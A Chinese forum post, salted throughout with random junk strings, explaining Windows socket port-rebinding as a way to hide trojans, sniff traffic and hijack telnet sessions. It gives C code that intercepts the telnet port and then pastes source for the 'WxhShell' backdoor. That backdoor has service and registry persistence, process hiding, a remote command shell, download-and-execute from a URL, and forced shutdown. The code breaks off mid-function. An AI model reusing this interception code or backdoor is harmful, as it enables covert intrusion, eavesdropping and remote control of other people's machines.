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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b%TS37`^[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N>+s8L.?  
x$6` k  
  saddr.sin_family = AF_INET; ~$bkWb*RJ  
0# )I :5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r}9a3 1i  
/CE]7m,7~K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vq.~8c1  
;?*`WB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =Fd!wkB'{  
QO-R>  
  这意味着什么?意味着可以进行如下的攻击: >R9_ ;  
Zs(I]^w;d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6r x%>\UkS  
vLc7RL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QXQ'QEG  
e1EFZ,EcaO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kPt] [1jo  
y,i ~w |4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5 aT>8@$Z^  
5*q!:$ W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _>6xU t  
,D6hJ_:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ez= Q{g  
e13{G @  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Zgw;AY.R>  
7eM:YqT/#  
  #include T~238C{vh  
  #include o9j*Yz  
  #include [\Ks+S  
  #include    &yQilyU{V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pZYcCc>6&  
  int main() {N \ri{|  
  { zm& D #)  
  WORD wVersionRequested; "<#-#j  
  DWORD ret; WRq:xDRn0  
  WSADATA wsaData; 7jj.maK  
  BOOL val; h6yXW! 8  
  SOCKADDR_IN saddr; `.Oj^H6  
  SOCKADDR_IN scaddr; n%SR5+N"  
  int err; 6 aE:v R2  
  SOCKET s; 7lC );  
  SOCKET sc; j[^(<R8  
  int caddsize; a-A>A_.  
  HANDLE mt; rzR=% >  
  DWORD tid;   C9,|G7~*q  
  wVersionRequested = MAKEWORD( 2, 2 ); (O$PJLI  
  err = WSAStartup( wVersionRequested, &wsaData ); NFVr$?P  
  if ( err != 0 ) { XL`*T bx  
  printf("error!WSAStartup failed!\n"); 4P>[]~S  
  return -1; zQ&k$l9  
  } .tg2HKD_lW  
  saddr.sin_family = AF_INET;  .IO_&^  
   k^JV37;bl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c]eDTbXd  
!4"!PrZDB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S\,~6]^T  
  saddr.sin_port = htons(23); %gd {u\h^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jGeil qPC  
  { 4(h19-V  
  printf("error!socket failed!\n"); ?yfw3s  
  return -1; \),DW)  
  } CQ4MQ<BJ.  
  val = TRUE; #:~MtV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '=M4 (h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) rx$B(z(c  
  { %![%wI?  
  printf("error!setsockopt failed!\n"); N=JZtf/i  
  return -1;  -L.U4x  
  } ![>j`i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $$,/F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~36)3W[4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dGNg[  
'e/= !"T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "vH>xBR[%  
  { &D/@H1fBe  
  ret=GetLastError(); 2j*+^&M/  
  printf("error!bind failed!\n"); ~]d3 f  
  return -1; ||}k99y +  
  } Epl\(  
  listen(s,2); DCv=*=6w  
  while(1) {\SJr:  
  { +9tm9<F8  
  caddsize = sizeof(scaddr); &=KNKE`  
  //接受连接请求 Hv>16W$_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *-zOQ=Y  
  if(sc!=INVALID_SOCKET) &| d6  
  { <kmH^ viX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (=T%eJ61  
  if(mt==NULL) ytWTJ>L  
  { M6j!_0j  
  printf("Thread Creat Failed!\n"); S4salpz  
  break; 'l&),]|$)  
  } }[$qn|  
  } $4*wK@xu  
  CloseHandle(mt);  .# Jusd  
  } 5>S<9A|Q  
  closesocket(s); aw3 oG?3I  
  WSACleanup(); ,>AA2@6zMT  
  return 0; RTL A*  
  }   >" z$p@7  
  DWORD WINAPI ClientThread(LPVOID lpParam) :vsF4  
  { dYEsSFB m  
  SOCKET ss = (SOCKET)lpParam; MnQ4,+ji-  
  SOCKET sc; k|r+/gIV  
  unsigned char buf[4096]; )zKZ<;#y  
  SOCKADDR_IN saddr; h&k*i  
  long num; IwTAM9n  
  DWORD val; " iz'x-wy  
  DWORD ret; si!jB%^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qw,{"J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mZ[tB/  
  saddr.sin_family = AF_INET; 0tFR. sS?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jQV.U~25Q  
  saddr.sin_port = htons(23); 5LkpfmR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zFFip/z\  
  { =B/Ac0Y  
  printf("error!socket failed!\n"); 03!!# 5iJ  
  return -1; kdam]L:9  
  } L] syD n  
  val = 100; 8F;r$i2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %xJ6t 5.-  
  { gdx2&~  
  ret = GetLastError(); /}ADV2sF  
  return -1; Wf}x"*  
  } FEF $4)ROv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T1([P!g*  
  { /Cl=;^)  
  ret = GetLastError(); Gy3t   
  return -1; d~>d\K%v  
  } ,WA[HwY-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hd'JXKMy  
  { Za>0&Fnf  
  printf("error!socket connect failed!\n"); J/{!_M-  
  closesocket(sc); b.4H4LV  
  closesocket(ss); {'^!S" 9x  
  return -1; PlX6,3F  
  } Wifr%&t{J  
  while(1) 2H]~X9,z2  
  { HTa]T'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fl4z'8P"(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ij|+MX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ; *@lH%u  
  num = recv(ss,buf,4096,0); f\zu7,GU  
  if(num>0) V t[Kr  
  send(sc,buf,num,0); $lC*q  
  else if(num==0) H;=JqD8`  
  break; p_Yx"nO7  
  num = recv(sc,buf,4096,0); oA;> z  
  if(num>0) &y~~Z [.F,  
  send(ss,buf,num,0); &l<~Xd#  
  else if(num==0) L+]|-L`S  
  break; 9P)28\4  
  } W,53|9b@  
  closesocket(ss); Wb;x eG  
  closesocket(sc); < 9 vS  
  return 0 ; 0c,)T1NG>  
  } WS7a]~3'  
%z_L}L  
zg[.Pws:E  
========================================================== 1%^d <%,]  
kvoEnwBe_  
下边附上一个代码,,WXhSHELL )d^b\On  
SR<*yO  
========================================================== ~t,-y*=  
g3h:oQCS  
#include "stdafx.h" ]CnqPLqL  
-:P`Rln  
#include <stdio.h> E979qKl  
#include <string.h> $YPQi.  
#include <windows.h> c1 ~=   
#include <winsock2.h> <:YD.zAh|  
#include <winsvc.h> G^6\OOSy  
#include <urlmon.h> D$vP&7pOr4  
\U\k$ (  
#pragma comment (lib, "Ws2_32.lib") 7Gs0DwV  
#pragma comment (lib, "urlmon.lib") ;/- X;!a>  
K;NaiRP#k  
#define MAX_USER   100 // 最大客户端连接数 KD*q|?Z  
#define BUF_SOCK   200 // sock buffer F,NS:mE  
#define KEY_BUFF   255 // 输入 buffer q_gsYb  
,<cF<9h  
#define REBOOT     0   // 重启 &# w~S~  
#define SHUTDOWN   1   // 关机 '-?t^@  
q@6Je(H  
#define DEF_PORT   5000 // 监听端口 yrgb6)]nm@  
HEMq4v4  
#define REG_LEN     16   // 注册表键长度 WokQ X"  
#define SVC_LEN     80   // NT服务名长度 k@RIM(^t  
%CaUC'  
// 从dll定义API I~f8+DE)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -AX[vTB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bpv?$j-j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2{gd4Kt6.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q*36/I  
<M,A:u\qSQ  
// wxhshell配置信息 $At,D.mGkb  
struct WSCFG { }aJK^>^>A  
  int ws_port;         // 监听端口 xdV $dDCT  
  char ws_passstr[REG_LEN]; // 口令 !arTR.b\  
  int ws_autoins;       // 安装标记, 1=yes 0=no f[;l7  
  char ws_regname[REG_LEN]; // 注册表键名 M)T{6 w  
  char ws_svcname[REG_LEN]; // 服务名 +'{@Xe}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +P//p$pE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xy.di9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,TdL-a5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >8>}o4Q/X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X"z!52*3]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7K\H_YY8#  
OM4q/!)A]  
}; HXg4 T  
Z"u|-RoBV  
// default Wxhshell configuration @m99xF\e  
struct WSCFG wscfg={DEF_PORT, V1= (^{p8  
    "xuhuanlingzhe", ! ~5=tK  
    1, A[mm_+D>  
    "Wxhshell", Pp9nilb_(  
    "Wxhshell", Hc"FW5R  
            "WxhShell Service", _;x7vRWmN  
    "Wrsky Windows CmdShell Service", FhyA_U%/nF  
    "Please Input Your Password: ", 5( }Qg9%  
  1, Wt8=j1>  
  "http://www.wrsky.com/wxhshell.exe", O:>9yZhV  
  "Wxhshell.exe" x.:k0;%Q  
    }; Hswgv$n  
9" RGf 1]  
// 消息定义模块 Jc74A=sT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U if61)+!i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q x]zz4jD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dreEes`|  
char *msg_ws_ext="\n\rExit."; 6?X)'  
char *msg_ws_end="\n\rQuit."; ue~?xmZg  
char *msg_ws_boot="\n\rReboot..."; Jjgy;*hM  
char *msg_ws_poff="\n\rShutdown..."; x(UOt;  
char *msg_ws_down="\n\rSave to "; J91O$szA  
M^$liS.D  
char *msg_ws_err="\n\rErr!"; w' gKE'c  
char *msg_ws_ok="\n\rOK!"; ~l=Jx*  
mn;Wqb/  
char ExeFile[MAX_PATH]; &\_cU?0d  
int nUser = 0; ?7:?OX  
HANDLE handles[MAX_USER]; 8pQ:B/3=  
int OsIsNt; i H^Gv*  
+mqz)-x  
SERVICE_STATUS       serviceStatus; ^^{gn3xJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,svj(HP$  
ZGHh!Ds;  
// 函数声明 bR*/d-v^  
int Install(void); 01-n_ $b  
int Uninstall(void); nYv`{0S+m  
int DownloadFile(char *sURL, SOCKET wsh); Oy `2ccQ#  
int Boot(int flag); (fYrb# ]!y  
void HideProc(void); a=!I(50  
int GetOsVer(void); n~wNee  
int Wxhshell(SOCKET wsl); L9FijF7  
void TalkWithClient(void *cs); 4X prVB  
int CmdShell(SOCKET sock); "++q. y  
int StartFromService(void); *k7vm%#ns  
int StartWxhshell(LPSTR lpCmdLine); ;J)8#|  
7rdPA9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mAFVjSa2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); npW1Z3n  
/h!Y/\kI  
// 数据结构和表定义 "V:24\vO  
SERVICE_TABLE_ENTRY DispatchTable[] = <f'2dT@6  
{ xg>AW Q  
{wscfg.ws_svcname, NTServiceMain}, jP-=x(  
{NULL, NULL} ji|`S\u#b  
}; H:DTvv8e{  
LE" t'R   
// 自我安装 Y.<&phv  
int Install(void) p^s k?E  
{ )L%i"=<Bdy  
  char svExeFile[MAX_PATH]; eZr}xo@9  
  HKEY key; l*yh(3~}  
  strcpy(svExeFile,ExeFile); A>c/q&WUk  
V=C@ocy Z  
// 如果是win9x系统,修改注册表设为自启动  EK:s#  
if(!OsIsNt) { @YMQbjbr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xTJ-v/t3<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \"r*wae  
  RegCloseKey(key); y+C.2 ca  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8w[nY.#T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _Q:739&  
  RegCloseKey(key); qhPvU( ,  
  return 0; V@(7K0  
    } --~m{qmy  
  } ly{Q>MBM  
} 0F\ e*{gc  
else { @"`{gdB$  
2`o}neF{  
// 如果是NT以上系统,安装为系统服务 J01Y%W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #e!4njdM  
if (schSCManager!=0) ;I#S m;  
{ x 7;Zwd  
  SC_HANDLE schService = CreateService y,*>+xk,  
  ( _uR-Z_z  
  schSCManager, ~[CtsCiQ  
  wscfg.ws_svcname, u I \zDR  
  wscfg.ws_svcdisp, \rw/d5.  
  SERVICE_ALL_ACCESS, ma\UJz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `xhiG9mz~  
  SERVICE_AUTO_START, 2nQrCdRC  
  SERVICE_ERROR_NORMAL, sc2nLyn$  
  svExeFile, G2nL#l~@)  
  NULL, B~_='0Gm[  
  NULL, ;gh#8JkI  
  NULL, w :w  
  NULL, + !I7(gL  
  NULL xz+Y1fYT  
  ); ~)zoIM\  
  if (schService!=0) A-GRuC  
  { \qrSJ=}t  
  CloseServiceHandle(schService); M@>EZ  
  CloseServiceHandle(schSCManager); h9McC3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qr/8kWa0 C  
  strcat(svExeFile,wscfg.ws_svcname); l @hXQ/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fC2   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \k=.w  
  RegCloseKey(key); &~u=vuX  
  return 0; [3s p  
    } vu%:0p` K  
  } Uf`lGGM  
  CloseServiceHandle(schSCManager); *|f&a  
} $>3/6(bW  
} a:o Z5PX=  
Sv7_-#SW<(  
return 1; FA.h?yfr  
} ; )Vro  
s7FJJTn  
// 自我卸载 N F[v/S  
int Uninstall(void) JeR8Mb  
{ r|XNS>V ,$  
  HKEY key; ~=Y <B/  
ICD(#m  
if(!OsIsNt) { {QTrH-C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \}ujSr#<  
  RegDeleteValue(key,wscfg.ws_regname); wo>srZs  
  RegCloseKey(key); EBY=ccGE{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !OJ@ =y`i  
  RegDeleteValue(key,wscfg.ws_regname); ,t+5(qi  
  RegCloseKey(key); S^@I4Z  
  return 0; mGjxc}  
  } ~HwY?[}!m  
} >-Qg4%m  
} o |7]8K=  
else { ^N!l$&=  
}LH>0v_<Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); web =AQ5I4  
if (schSCManager!=0) jb' hqz  
{ p%A(5DE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 62B` Z5j#  
  if (schService!=0) Phsdn`,  
  { 5q`d=L,  
  if(DeleteService(schService)!=0) { Ojkbv  
  CloseServiceHandle(schService); ^|6%~jkD5  
  CloseServiceHandle(schSCManager); W^2Q"c#7F  
  return 0; {d\erG(  
  } kU8V,5  
  CloseServiceHandle(schService); 4]N`pD5  
  } 2kTLj2 @o,  
  CloseServiceHandle(schSCManager); AW8"@  
} # E'g{.N  
} &z-f,`yG  
}b+tD3+  
return 1; {4Q4aL(  
} v/]Bo[a  
rl^_RI  
// 从指定url下载文件 XelY?Ph,,  
int DownloadFile(char *sURL, SOCKET wsh) -{>Nrx|  
{ [=Wn7cr  
  HRESULT hr; p6(n\egR  
char seps[]= "/"; %Ke:%##Y  
char *token; ]@op  
char *file; (9h{7<wD`  
char myURL[MAX_PATH]; fW Vd[zuD4  
char myFILE[MAX_PATH]; VT1W#@`e-  
q P@4KH} e  
strcpy(myURL,sURL); DJeP]  
  token=strtok(myURL,seps); oJK]oVX9i  
  while(token!=NULL) 5=g{%X  
  { G3P3  
    file=token; H#8]Lb@@:  
  token=strtok(NULL,seps); 4A%O`&eZ  
  } E[J7FgU)<S  
tr2@{xb  
GetCurrentDirectory(MAX_PATH,myFILE); M:W9h+z  
strcat(myFILE, "\\"); t_ &FK A  
strcat(myFILE, file); US+PI`  
  send(wsh,myFILE,strlen(myFILE),0); @3bQ2jn   
send(wsh,"...",3,0); Y%$57,Bu n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WlVC0&  
  if(hr==S_OK) wO!k|7:Z  
return 0; AigL:4[  
else $|!VP'VI  
return 1; {A4"KX(U  
A%n l@`s,  
} KIdlndGs  
6Flc4L8JU  
// 系统电源模块 h"KN)xi$  
int Boot(int flag) '$~9~90?Z  
{ #;U_ L`q  
  HANDLE hToken; 5AR\'||u  
  TOKEN_PRIVILEGES tkp; 4J2NIFZ  
_;J7#j~}  
  if(OsIsNt) { E.?|L-fy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /4j'?hB<g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jRK<FK  
    tkp.PrivilegeCount = 1; A'qJke=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bL+Hw6;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4E:HO\  
if(flag==REBOOT) { h\KQ{-Bl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]%(hZZ  
  return 0; :|oH11 y  
} >`8r52  
else { s4lkhoN\t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \$s<G|<P  
  return 0; Py6c=&*  
} Zi/l.=9n  
  } 0@1AH<  
  else { ]j0v.[SX  
if(flag==REBOOT) { I ms?^`N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ghJ81  
  return 0; o"t+G/M  
} -MoI{3a  
else { j& f-yc'i-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  m2%uGqz  
  return 0; N(Us9  
} 7ZS 5u+o  
} M)6_Ta l  
,T_HE3K  
return 1; =35^k-VS  
} VB*$lx X  
b mZRCvW>A  
// win9x进程隐藏模块 2}1(j  
void HideProc(void) ~.mnxn  
{ 5) o-$1s A  
:h?"0,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {AqN@i  
  if ( hKernel != NULL ) B[ooT3V  
  { R>[2}R30  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o87. (  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ? )-*&1cv  
    FreeLibrary(hKernel); eh nN  
  } (7`&5m d  
x;lIw)Ti  
return; =)"60R7{  
} .Nr}V.?57  
rE[*i q,#  
// 获取操作系统版本 p+#J;.  
int GetOsVer(void) O9oVx4=  
{ 83:m 7;  
  OSVERSIONINFO winfo; }Gr5TDiV0\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !)ey~Suh  
  GetVersionEx(&winfo); N%/Qc hu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aB-*l %x  
  return 1; z}yntY]n  
  else c*K-?n9YMz  
  return 0; -ZH]i}$  
} U/Z!c\r  
jE2k\\<a  
// 客户端句柄模块 |HI =ykfI  
int Wxhshell(SOCKET wsl) EbuOPa  
{ :gVz}/C.@  
  SOCKET wsh; il\#R%';5  
  struct sockaddr_in client; Lo @mQ  
  DWORD myID; ~UB@IV6O  
' ~lC85  
  while(nUser<MAX_USER) YN9ug3O+  
{ FVT_%"%C9  
  int nSize=sizeof(client); ]plg@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T/MbEqAf  
  if(wsh==INVALID_SOCKET) return 1; KQaw*T[Q3w  
fyYT#r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c^}gJ  
if(handles[nUser]==0) yAG4W[  
  closesocket(wsh); :)t1>y>3  
else Qr1%"^4  
  nUser++; ny'~pT'00  
  } .@JXV $Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _ mhP:O  
jL^zS XQB  
  return 0; 6gY5v @!w  
} rOE[c  
X3".  
// 关闭 socket zv||&Hi  
void CloseIt(SOCKET wsh) .Gh-T{\V'  
{ thOQcOf0$  
closesocket(wsh); %A`f>v.7 c  
nUser--; f8L  
ExitThread(0); [{ K$sd  
} F=Z|Ji#  
?Q="w5OOD  
// 客户端请求句柄 8<Asg2]6  
void TalkWithClient(void *cs) O1Ey{2Q  
{ mWsVOf>g  
POfvs]  
  SOCKET wsh=(SOCKET)cs; ;gTdiwfgZ=  
  char pwd[SVC_LEN]; <tMiI)0%  
  char cmd[KEY_BUFF]; sKB])mf]  
char chr[1]; |L.QIr,jCC  
int i,j; `Q<hL{AH  
<<6i6b  
  while (nUser < MAX_USER) { IX']s;b  
D&0*+6j((  
if(wscfg.ws_passstr) { <`9Q{~*=t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )i0\U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ra&HzK?  
  //ZeroMemory(pwd,KEY_BUFF); `n Y!nh6!  
      i=0; eEb(TG~,Y  
  while(i<SVC_LEN) { A &~G  
i*#Gq6qZq  
  // 设置超时 h35x'`g7+r  
  fd_set FdRead; 2Y\,[$z  
  struct timeval TimeOut; M,8a$Mdqh  
  FD_ZERO(&FdRead); qS*qHT(u19  
  FD_SET(wsh,&FdRead); BOrfKtG\  
  TimeOut.tv_sec=8; ~zi6wu(3  
  TimeOut.tv_usec=0; @ >%I\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &=nwb4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F +D2 xN@  
1mwb&j24n3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @E{c P%fv  
  pwd=chr[0]; vK!,vKa.  
  if(chr[0]==0xd || chr[0]==0xa) { F/tBr%RV  
  pwd=0; 4gG&u33RrE  
  break; GQ[: vX`  
  } 36@)a5  
  i++; `S2YBKz,1  
    } m%m/#\J E  
_=3H!b =  
  // 如果是非法用户,关闭 socket |+mhYq|`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vo-n9Bj  
} Yl% Ra1  
)3=oS1p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xqmP/1=NO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xnt`7L<L  
zq80}5%2CT  
while(1) { RvZi%)  
K%[Rv#>;q|  
  ZeroMemory(cmd,KEY_BUFF); vE;`y46&r  
:[#HP66[O5  
      // 自动支持客户端 telnet标准   r4@!QR<h  
  j=0; f7)}A/$4+  
  while(j<KEY_BUFF) { o )GNV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q6Vy}  
  cmd[j]=chr[0]; T#DJQ"$  
  if(chr[0]==0xa || chr[0]==0xd) { mLd=+&M  
  cmd[j]=0; UtIwrR[  
  break; QzT)PtX  
  } ;-~ Wfh+  
  j++; ~QJD.'z  
    } !sfOde)$  
8E H# IiP  
  // 下载文件 sycN  
  if(strstr(cmd,"http://")) { u3R0_8 _.w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "pa5+N&2-  
  if(DownloadFile(cmd,wsh)) +M$2:[xRT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TW(rK&  
  else W @Y$!V<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \S[:  
  } , b ,`;I  
  else { _&FcHwRy  
C8}ujC  
    switch(cmd[0]) { =O?<WJoK  
  E}-Y@( [  
  // 帮助 G5|xWeNgA  
  case '?': { N8m|Y]^H#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 12gcma}  
    break; PPU,o8E+  
  } kG[u$[B  
  // 安装 yBXdj`bV  
  case 'i': { ^:5 ;H=.  
    if(Install()) %a<N[H3NV@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SouPk/-B80  
    else @aN<nd`q)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n7i;^=9 mM  
    break; 'uGn1|Pvy  
    } \9geDX9A  
  // 卸载 [?r`8K2!,  
  case 'r': { ?;i O  
    if(Uninstall()) z\*ii<- @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +yiGZV/X  
    else rBye%rQRq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1/c7((]7(,  
    break; mg[=~&J^  
    } PEW^Vl-6q  
  // 显示 wxhshell 所在路径 W&q]bi@C  
  case 'p': { ` :eXXE  
    char svExeFile[MAX_PATH]; %k_R;/fjW  
    strcpy(svExeFile,"\n\r"); GM%%7^uE  
      strcat(svExeFile,ExeFile); DDq*#;dP  
        send(wsh,svExeFile,strlen(svExeFile),0); N&K:Jp  
    break; Q9tBHz  
    } ~>3$Id:  
  // 重启 9eo$Duws  
  case 'b': { ;g?oU "YM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JOS,>;;F4  
    if(Boot(REBOOT)) |GM?4'2M.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G&)A7WaC  
    else { H{ p   
    closesocket(wsh); ;| ##~Y.9  
    ExitThread(0); /)ps_gM  
    } Z@>hN%{d+g  
    break; ^s\(2lB\F  
    } aFjcyD  
  // 关机 Ki(qA(r  
  case 'd': { d@#!,P5 `  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bccJVwXv  
    if(Boot(SHUTDOWN)) \-a^8{.^E  
